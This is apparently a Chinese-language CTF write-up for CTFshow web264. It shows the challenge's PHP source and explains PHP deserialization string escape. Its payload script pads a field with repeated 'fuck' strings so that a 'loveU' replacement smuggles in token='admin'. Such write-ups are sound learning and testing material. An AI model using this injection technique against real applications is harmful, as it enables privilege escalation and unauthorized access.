13. CTFshow 反序列化 web264
PHP反序列化字符串逃逸,不难,但是有点绕。奈何自己太菜,又不懂PHP代码,磨蹭了半天,才搞懂。如有不对的地方还望斧正。
一、代码
index.php
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
二、解题步骤
新学习到的知识点
- PHP反序列化时,底层代码是以
;
分号作为字段的分隔,以}
花括号作为结尾,并且时根据长度判断内容的。 - PHP反序列化字符串逃逸:类似注入,通过拼接,提前闭合这种思想构造字符串。
- 个人理解:使用payload进行提前闭合,但是提前闭合会缺少字符,这个时候就需要用到字符串逃逸来增加字符。
理解如下:
<?php class message{
public $to='1';
public $token='admin';
}
$msg= serialize(new message);
print_r($msg);
//O:7:"message":2:{s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
- 比如正常值:
O:7:"message":2:{s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
- to的值:
s:2:"to";s:1:"1";
to的值长度和值都是1
- 如果这个时候我们把
to
的值进行提前闭合。(也就是用payload进行闭合,在考虑到";}
三个字符)把to的值进行替换1";s:5:"token";s:5:"admin";}
加上三个字符,长度正好是27位。如下:
<?php class message{
public $to='1";s:5:"token";s:5:"admin";}';
public $token='admin';
}
$msg= serialize(new message);
print_r($msg);
- 序列化之后的结果:
O:7:"message":2:{s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
- 仔细看,
to
值s:28:"1";
的长度是28位
但是它的值只有1位
,缺少27位
。如果这样进行反序列化时会报错的。 - 想一下,
to
的值是1
,如果1
变成aa
,这样的就缺少26位
,如果有27个1
,那么就不会因为缺少值而反序列化失败。然后就会正常读取到payload:s:5:"token";s:5:"admin";}
回到代码
- 获取flag前提
token='admin'
,题目中的值是user
。还有$umsg=str_replace('fuck','loveU',serialize($msg));
,将序列化之后的fuck
替换成5个字符串长度的loveU
(这里和1替换aa是一个意思。),然后在将反序列化的结果去比较token='admin'
三、payload
<?php class message{
public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='admin';
}
$msg= serialize(new message);
echo $msg;
echo "\n";
//替换前后的区别
$msg = str_replace('fuck', 'loveU', ($msg));
echo $msg;
- 替换之前结果:
O:7:"message":2:{s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
,长度是136,实际长度是109缺少27个字符。 - 替换之后结果:
:7:"message":2:{s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
,长度是136,实际长度是136,不缺少字符,可正常反序列化。
学习连接:https://blog.csdn.net/weixin_45669205/article/details/114163197